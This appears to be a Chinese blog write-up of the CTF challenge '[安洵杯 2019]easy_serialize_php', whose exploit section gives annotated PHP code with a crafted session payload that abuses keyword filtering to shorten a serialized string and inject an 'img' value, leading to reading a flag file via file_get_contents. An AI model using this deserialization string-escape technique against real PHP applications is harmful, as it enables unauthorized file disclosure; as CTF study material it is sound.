0%

变量覆盖,字符串逃逸

2025-03-04 20:00By
xnjdzhoupeng
反序列化WEB变量覆盖

Problem: [安洵杯 2019]easy_serialize_php

思路

  • 解题大致思路

EXP

function = @_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
filter = '/'.implode('|',filter_arr).'/i';//implode — 用字符串连接数组元素
return preg_replace(filter,'',img);//把img里的filter替换成空
}

if($_SESSION){
unset(_SESSION);//清除指定变量,如果_SESSION存在
}

$_SESSION["user"] = 'flagflagflagflagflagphp';//_SESSION赋值
#$_SESSION["user"] = 'test';
$_SESSION['function'] = '";s:8:"function";s:4:"test";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}';//前面吃掉一个";,这里补一个
$_SESSION['img'] = 'ZDBnM19mMWFnLnBocA==';//下面会改变

echo serialize($_SESSION);
extract($_POST);//extract — 从数组中将变量导入到当前的符号表

if(!$function){
// echo 'source_code';
}

if(!$_GET['img_path']){//img_path的值为空
$_SESSION['img'] = base64_encode('guest_img.png');//实际上img的值肯定会变化
}else{//不为空的化,是下面这种情况
_SESSION['img'] = sha1(base64_encode(_GET['img_path']));
}

serialize_info = filter(serialize(_SESSION));//1->序列化->过滤
echo "\r\n";
echo $serialize_info;
if($function == 'highlight_file'){//function来自post
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
userinfo = unserialize(serialize_info);//反序列化,
echo file_get_contents(base64_decode($userinfo['img']));//反序列化中IMG的值,base64解码
}

总结

  • 对该题的考点总结
还没有人赞赏,快来当第一个赞赏的人吧!
  
© 著作权归作者所有

加载中...

加载失败
广告
×
评论区
添加新评论